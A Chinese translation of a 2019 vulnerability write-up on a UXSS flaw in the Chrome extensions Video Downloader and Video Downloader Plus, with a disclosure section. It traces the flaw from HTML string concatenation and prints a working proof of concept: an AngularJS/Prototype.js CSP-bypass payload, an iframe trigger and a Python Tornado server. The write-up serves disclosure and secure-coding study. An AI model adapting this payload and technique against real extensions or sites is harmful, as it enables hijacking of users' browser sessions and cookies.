影响1500万用户:Chrome扩展Video Downloader CSP绕过导致UXSS漏洞分析

41yf1sh Web安全 2019年2月26日发布
Favorite收藏

导语:在对各种Chrome扩展程序进行安全审查的过程中,我发现有两个流行的Chrome扩展程序Video Downloader(5.0.0.12版本,用户数量820万)和Video Downloader Plus(用户数量730万)在浏览器中存在跨站脚本(XSS)漏洞页面。

概述

在对各种Chrome扩展程序进行安全审查的过程中,我发现有两个流行的Chrome扩展程序Video Downloader(5.0.0.12版本,用户数量820万)和Video Downloader Plus(用户数量730万)在浏览器中存在跨站脚本(XSS)漏洞页面。攻击者只需让目标用户访问攻击者特制的页面,即可针对这些扩展实现漏洞利用。

导致此漏洞的原因是,扩展程序使用字符串连接来构建HTML,该HTML通过jQuery动态附加到DOM。攻击者可以创建一个特制的链接,这将导致在扩展的上下文中执行任意JavaScript。利用该漏洞,攻击者可以滥用扩展程序可以访问的如下权限:

"permissions": [
    "alarms",
    "contextMenus",
    "privacy",
    "storage",
    "cookies",
    "tabs",
    "unlimitedStorage",
    "webNavigation",
    "webRequest",
    "webRequestBlocking",
    "http://*/*",
    "https://*/*",
    "notifications"
],

利用上述权限,攻击者可以转储所有浏览器Cookie,拦截所有浏览器请求,并伪装成经过身份验证的用户与所有站点进行通信。此时,攻击者已经具有如同本地扩展程序一样的功能。

漏洞描述

这一漏洞的产生,主要源于以下代码中存在问题:

vd.createDownloadSection = function(videoData) {
    return '<li> \
        <a href="' + videoData.url + '" target="_blank"></a> \
        <div title="' + videoData.fileName + '">' + videoData.fileName + '</div> \
        <a href="' + videoData.url + '" data-file-name="' + videoData.fileName + videoData.extension + '">Download - ' + Math.floor(videoData.size * 100 / 1024 / 1024) / 100 + ' MB</a>\
        <div></div>\
        </li>';
};

这是一段易受跨站脚本攻击(XSS)的代码,可以说是一段非常经典的“教科书级”漏洞代码示例。扩展程序从攻击者控制的页面上提取这些视频链接,因此漏洞利用应该是非常简单粗暴的。然而,现实世界中的情况要比“教科书”复杂得多。我们接下来,就详细分析漏洞利用途中遇到的各种阻碍,并说明如何绕过这些障碍。我们将从输入的位置开始,一路到达其最终函数。

通往胜利的道路

该扩展程序使用内容脚本(Content Script)从页面链接(<a>标签)和视频(<video>标签)收集可能的视频URL。内容脚本是JavaScript代码段,运行在用户浏览器访问过的页面上(也就是用户访问的每个页面)。以下代码节选自扩展程序的内容脚本:

vd.getVideoLinks = function(node) {
    // console.log(node);
    var videoLinks = [];
    $(node)
        .find('a')
        .each(function() {
            var link = $(this).attr('href');
            var videoType = vd.getVideoType(link);
            if (videoType) {
                videoLinks.push({
                    url: link,
                    fileName: vd.getLinkTitleFromNode($(this)),
                    extension: '.' + videoType
                });
            }
        });
    $(node)
        .find('video')
        .each(function() {
            // console.log(this);
            var nodes = [];
            // console.log($(this).attr('src'));
            $(this).attr('src') ? nodes.push($(this)) : void 0;
            // console.log(nodes);
            $(this)
                .find('source')
                .each(function() {
                    nodes.push($(this));
                });
            nodes.forEach(function(node) {
                var link = node.attr('src');
                if (!link) {
                    return;
                }
                var videoType = vd.getVideoType(link);
                videoLinks.push({
                    url: link,
                    fileName: vd.getLinkTitleFromNode(node),
                    extension: '.' + videoType
                });
            });
        });
    return videoLinks;
};

从上面的代码中可以看出,链接和视频元素将会被迭代,并且在返回之前将信息收集到videoLinks数组中。我们控制的videoLinks元素属性是url(从href属性中提取)和fileName(通过获取title属性、alt属性或节点的内部文本来提取)。

在这里,会被函数vd.findVideoLinks调用:

vd.findVideoLinks = function(node) {
    var videoLinks = [];
    switch (window.location.host) {
        case 'vimeo.com':
            vd.sendVimeoVideoLinks();
            break;
        case 'www.youtube.com':
            break;
        default:
            videoLinks = vd.getVideoLinks(node);
    }
    vd.sendVideoLinks(videoLinks);
};

此调用发生在每个页面的页面加载初期:

vd.init = function() {
    vd.findVideoLinks(document.body);
};
 
vd.init();

在获得所有链接后,它们将通过vd.sendVideoLinks发送到扩展程序的后台页面。下面是在扩展的后台页面中声明的消息侦听器:

chrome.runtime.onMessage.addListener(function(request, sender, sendResponse) {
    switch (request.message) {
        case 'add-video-links':
            if (typeof sender.tab === 'undefined') {
                break;
            }
            vd.addVideoLinks(request.videoLinks, sender.tab.id, sender.tab.url);
            break;
        case 'get-video-links':
            sendResponse(vd.getVideoLinksForTab(request.tabId));
            break;
        case 'download-video-link':
            vd.downloadVideoLink(request.url, request.fileName);
            break;
        case 'show-youtube-warning':
            vd.showYoutubeWarning();
            break;
        default:
            break;
    }
});

我们重点关注其中的add-video-links选项,由于send.tab未定义,因此它会使用先前的视频链接数据调用vd.addVideoLinks。以下是addVideoLinks的代码:

vd.addVideoLinks = function(videoLinks, tabId, tabUrl) {
       ...为保证简洁,省略一部分代码...
    videoLinks.forEach(function(videoLink) {
        // console.log(videoLink);
        videoLink.fileName = vd.getFileName(videoLink.fileName);
        vd.addVideoLinkToTab(videoLink, tabId, tabUrl);
    });
};

上面的代码将会检查它是否已经存储了此tabld的链接数据。如果没有,则会创建一个新对象。每条链接数据的fileName属性都会通过vd.getFileName函数运行,该函数代码如下:

vd.getFileName = function(str) {
    // console.log(str);
    var regex = /[A-Za-z0-9()_ -]/;
    var escapedStr = '';
    str = Array.from(str);
    str.forEach(function(char) {
        if (regex.test(char)) {
            escapedStr += char;
        }
    });
    return escapedStr;
};

由于上面的函数针对链接数据使用了fileName属性,所以也就破坏了我们获得DOM-XSS的机会。它会删除任何与正则表达式[A-Za-z0-9()_ -]不匹配的字符,当然也包括可用于突破连接HTML中属性的字符。

这样一来,我们就只剩下url属性,我们继续。

videoLink将被发送到vd.addVideoLinkToTab函数中,该函数如下:

vd.addVideoLinkToTab = function(videoLink, tabId, tabUrl) {
       ...trimmed for brevity...
    if (!videoLink.size) {
        console.log('Getting size from server for ' + videoLink.url);
        vd.getVideoDataFromServer(videoLink.url, function(videoData) {
            videoLink.size = videoData.size;
            vd.addVideoLinkToTabFinalStep(tabId, videoLink);
        });
    } else {
        vd.addVideoLinkToTabFinalStep(tabId, videoLink);
    }
};

该脚本将检查链接数据是否具有size属性。在未设置大小的情况下,它通过vd.getVideoDataFromServer来获取链接位置处文件的大小:

vd.getVideoDataFromServer = function(url, callback) {
    var request = new XMLHttpRequest();
    request.onreadystatechange = function() {
        if (request.readyState === 2) {
            callback({
                mime: this.getResponseHeader('Content-Type'),
                size: this.getResponseHeader('Content-Length')
            });
            request.abort();
        }
    };
    request.open('Get', url);
    request.send();
};

上面的代码只会触发XMLHTTPRequest请求,以获取指定链接上的文件头,并提取Content-Type和Content-Length头部。数据将会返回,随后Content-Length标头的值被用于设置videoLinks元素的size属性。在完成此操作后,结果将传递给vd.addVideoLinkToTabFinalStep:

vd.addVideoLinkToTabFinalStep = function(tabId, videoLink) {
    // console.log("Trying to add url "+ videoLink.url);
    if (!vd.isVideoLinkAlreadyAdded(
            vd.tabsData[tabId].videoLinks,
            videoLink.url
        ) &&
        videoLink.size > 1024 &&
        vd.isVideoUrl(videoLink.url)
    ) {
        vd.tabsData[tabId].videoLinks.push(videoLink);
        vd.updateExtensionIcon(tabId);
    }
};

在这里,我们开始遇到一些障碍。我们希望将URL附加到vd.tabsData[tabId]数组,但只会在我们传递以下条件时发生:

!vd.isVideoLinkAlreadyAdded(
    vd.tabsData[tabId].videoLinks,
    videoLink.url
) &&
videoLink.size > 1024 &&
vd.isVideoUrl(videoLink.url)

vd.isVideoLinkAlreadyAdded是一个简单的检查,以查看该URL是否已经记录在vd.tabsData[tabId].videoLinks数组中。第二项检查是查看videoLink.size是否大于1024。我们回想一下,这个值是来源于检索到的Content-Length标头。为了通过这里的检查,我们创建了一个基础的Python Tornado服务器,并创建了一个通配符路由,能够返回足够大的响应:

...为保证简洁,省略一部分代码...
def make_app():
    return tornado.web.Application([
        ...为保证简洁,省略一部分代码...
        (r"/.*", WildcardHandler),
    ])
 
...为保证简洁,省略一部分代码...
class WildcardHandler(tornado.web.RequestHandler):
    def get(self):
        self.set_header("Content-Type", "video/x-flv")
        self.write( ("A" * 2048 ) )
...为保证简洁,省略一部分代码...

现在,无论我们制作的链接是什么,都总会路由到一个返回>1024字节的页面。因此,我们就通过了这个检查。

下一个检查,要求vd.isVideoUrl函数返回True,该函数的代码如下:

vd.videoFormats = {
    mp4: {
        type: 'mp4'
    },
    flv: {
        type: 'flv'
    },
    mov: {
        type: 'mov'
    },
    webm: {
        type: 'webm'
    }
};
 
vd.isVideoUrl = function(url) {
    var isVideoUrl = false;
    Object.keys(vd.videoFormats).some(function(format) {
        if (url.indexOf(format) != -1) {
            isVideoUrl = true;
            return true;
        }
    });
    return isVideoUrl;
};

这项检查非常简单,它只是检查URL中是否包含mp4、flv、mov或webm。我们可以将.flv添加到我们URL Payload的末尾,来轻松绕过此检查。

由于我们已经满足了所有检查条件,因此我们的URL将会附加到vd.tabsData[tabId].videoLinks数组之中。

接下来,转到核心易受攻击函数的原始popus.js脚本,我们可以看到如下内容:

$(document).ready(function() {
    var videoList = $("#video-list");
    chrome.tabs.query({
        active: true,
        currentWindow: true
    }, function(tabs) {
        console.log(tabs);
        vd.sendMessage({
            message: 'get-video-links',
            tabId: tabs[0].id
        }, function(tabsData) {
            console.log(tabsData);
            if (tabsData.url.indexOf('youtube.com') != -1) {
                vd.sendMessage({
                    message: 'show-youtube-warning'
                });
                return
            }
            var videoLinks = tabsData.videoLinks;
            console.log(videoLinks);
            if (videoLinks.length == 0) {
                $("#no-video-found").css('display', 'block');
                videoList.css('display', 'none');
                return
            }
            $("#no-video-found").css('display', 'none');
            videoList.css('display', 'block');
            videoLinks.forEach(function(videoLink) {
                videoList.append(vd.createDownloadSection(videoLink));
            })
        });
    });
    $('body').on('click', '.download-button', function(e) {
        e.preventDefault();
        vd.sendMessage({
            message: 'download-video-link',
            url: $(this).attr('href'),
            fileName: $(this).attr('data-file-name')
        });
    });
});

如果单击扩展程序的浏览器图标,将会触发上述代码。该扩展程序会在Chrome扩展程序API中查询当前标签的元数据。这个选项卡的ID是取自元数据,并且get-video-links调用将会发送到后台页面。这里的代码仅仅是sendResponse(vd.getVideoLinksForTab(request.tabId));,将会返回我们上面所讨论的视频链接数据。

视频链接将会被迭代,并将每个视频链接传递给本文最开始所提到的vd.createDownloadSection函数。这样一来,将会使用HTML连接来构建一个使用jQuery的.append()函数附加到DOM的大字符串。将包含用户输入的原始HTML传递给append(),这就是一个经典的跨站脚本(XSS)示例。

看来,我们可以完美地将自定义Payload传递到易受攻击的函数。但是,现在庆祝还为时过早,我们还有另外一个需要克服的问题:内容安全策略(CSP)。

内容安全策略

有趣的是,该扩展的内容安全策略在其script-src指令中没有不安全的eval。以下是扩展程序的摘录:

script-src 'self' https://www.google-analytics.com https://ssl.google-analytics.com https://apis.google.com https://ajax.googleapis.com; style-src 'self' 'unsafe-inline' 'unsafe-eval'; connect-src *; object-src 'self'

从上面的内容安全策略(CSP)中,我们可以看到script-src如下:

script-src 'self' https://www.google-analytics.com https://ssl.google-analytics.com https://apis.google.com https://ajax.googleapis.com

该策略阻止我们引用任意网站,并禁止我们进行内联JavaScript的声明(例如:<script>alert('XSS')</script>)。我们执行JavaScript的唯一方法,就是要从以下的某个网站获取资源:

https://www.google-analytics.com
https://ssl.google-analytics.com
https://apis.google.com
https://ajax.googleapis.com

我们的目标是绕过CSP策略,并且我们在script-src指令中看到了https://apis.google.com和https://ajax.googleapis.com,这非常好。这些站点上面托管了许多JavaScript库,以及JSONP终端,而这二者都可以用于绕过内容安全策略。

注意:如果想要查看某个网站是否不适合添加到CSP中,可以使用由Google员工制作的CSP评估工具。

在这一方面,此前曾经开展过一个名为H5SC Minichallenge 3: "Sh*t, it's CSP!"的比赛,参赛者必须在一个只有白名单ajax.googeapis.com的页面上实现XSS。这一挑战与我们现在面临的情况非常相似。

这场比赛中最佳的解决方案之一是使用以下Payload:

"ng-app ng-csp><base href=//ajax.googleapis.com/ajax/libs/><script src=angularjs/1.0.1/angular.js></script><script src=prototype/1.7.2.0/prototype.js></script>\{\{$on.curry.call().alert(1337

下面的说明,引述自提出这一解决方案的参赛人员:

这个提交非常有趣,因为它滥用了将Prototype.js与AngularJS结合起来的效果。> AngularJS非常成功地禁用了其集成的沙箱访问窗口。然而,Prototype.JS使用curry属性扩展函数,在使用call()调用时返回一个窗口对象,AngularJS没有注意到这一点。这意味着,我们可以使用Prototype.JS来获取窗口>,并执行该对象的几乎任意方法。

列入白名单的Google-CDN提供过时版本的AngularJS和Prototype.js,让我们可以根据需要,访问我们在窗口上操作所需的内容。并且,这里并不需要用户交互。

通过修改这一Payload,我们可以利用该扩展。下面是使用相同技术执行alert的Payload(在Chrome扩展程序中Video Downloader进行测试):

"ng-app ng-csp><script src=https://ajax.googleapis.com/ajax/libs/angularjs/1.0.1/angular.js></script><script src=https://ajax.googleapis.com/ajax/libs/prototype/1.7.2.0/prototype.js></script>\{\{$on.curry.call().alert('XSS in Video Downloader for Chrome by mandatory')\}\}<!—

下图展示了在单击扩展名图标时,我们的Payload将会触发:

1.png

我们现在就可以在扩展程序的上下文中执行任意JavaScript,并且可以滥用扩展程序可以访问的任何Chrome扩展程序API。但是,这一过程还需要用户在我们的页面上单击扩展图标。在构建漏洞利用时,最好不要有任何弱点。因此,我们希望尝试不需要用户交互的方案。

回到manifest.json,我们可以看到web_accessible_resources指令已经被设置为以下内容:

"web_accessible_resources": [
    "*"
]

仅使用通配符,这意味着任何网页都可以使用<iframe>,并获取扩展中包含的任何资源。在我们的示例中,我们要包含的资源是popup.html页面,该页面通常仅在用户单击扩展程序的图标时显示。通过iframing此页面,以及使用我们之前编写的Payload,我们可以实现无需用户交互的漏洞利用:

2.png

最终Payload如下:

<!DOCTYPE html>
<html>
<body>
    <a href="https://"ng-app ng-csp><script src=https://ajax.googleapis.com/ajax/libs/angularjs/1.0.1/angular.js></script><script src=https://ajax.googleapis.com/ajax/libs/prototype/1.7.2.0/prototype.js></script>\{\{$on.curry.call().alert('XSS in Video Downloader for Chrome by mandatory')\}\}<!--.flv">test</a>
 
    <iframe src="about:blank" id="poc"></iframe>
 
    <script>
    setTimeout(function() {
        document.getElementById( "poc" ).setAttribute( "src", "chrome-extension://dcfofgiombegngbaofkeebiipcdgpnga/html/popup.html" );
    }, 1000);
    </script>
</body>
</html>

具体而言,这分为两部分。第一部分是为当前选项卡设置videoLinks数组。第二部分是在1秒后触发并生成iframe chrome-extension://dcfofgiombegngbaofkeebiipcdgpnga/html/popup.html(弹出页面)的位置。最终的概念证明如下:

import tornado.ioloop
import tornado.web
 
class MainHandler(tornado.web.RequestHandler):
    def get(self):
        self.write("""
<!DOCTYPE html>
<html>
<body>
    <a href="https://"ng-app ng-csp><script src=https://ajax.googleapis.com/ajax/libs/angularjs/1.0.1/angular.js></script><script src=https://ajax.googleapis.com/ajax/libs/prototype/1.7.2.0/prototype.js></script>\{\{$on.curry.call().alert('XSS in Video Downloader for Chrome by mandatory')\}\}<!--.flv">test</a>
 
    <iframe src="about:blank" id="poc"></iframe>
 
    <script>
    setTimeout(function() {
        document.getElementById( "poc" ).setAttribute( "src", "chrome-extension://dcfofgiombegngbaofkeebiipcdgpnga/html/popup.html" );
    }, 1000);
    </script>
</body>
</html>
        """)
 
class WildcardHandler(tornado.web.RequestHandler):
    def get(self):
        self.set_header("Content-Type", "video/x-flv")
        self.write( ("A" * 2048 ) )
 
def make_app():
    return tornado.web.Application([
        (r"/", MainHandler),
        (r"/.*", WildcardHandler),
    ])
 
if __name__ == "__main__":
    app = make_app()
    app.listen(8888)
    tornado.ioloop.IOLoop.current().start()

漏洞披露与修复

由于在扩展程序中,没有显示出开发者的联系方式,因此我联系了一些Google负责Chrome扩展程序安全性的人员。他们将通知扩展的开发者,并努力确保他们对扩展进行修复。这两个扩展的最新版本都已经不存在此漏洞。我们在发布此篇文章之前,还为每个用户预留了补丁发布后安装更新的时间,需要提醒用户务必关注补丁并及时更新。

如果大家有任何问题或意见,请随时与我联系。如果您想要查找一些Chrome扩张程序的漏洞,可以使用我自己编写的扫描程序,以帮助您入门(源代码)。如果您想要阅读关于Chrome扩展程序安全性的指南,可以参考《安全编码和审计Chrome扩展程序指南》

本文翻译自:https://thehackerblog.com/video-download-uxss-exploit-detailed/如若转载,请注明原文地址: https://www.4hou.com/web/16390.html
点赞 0
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论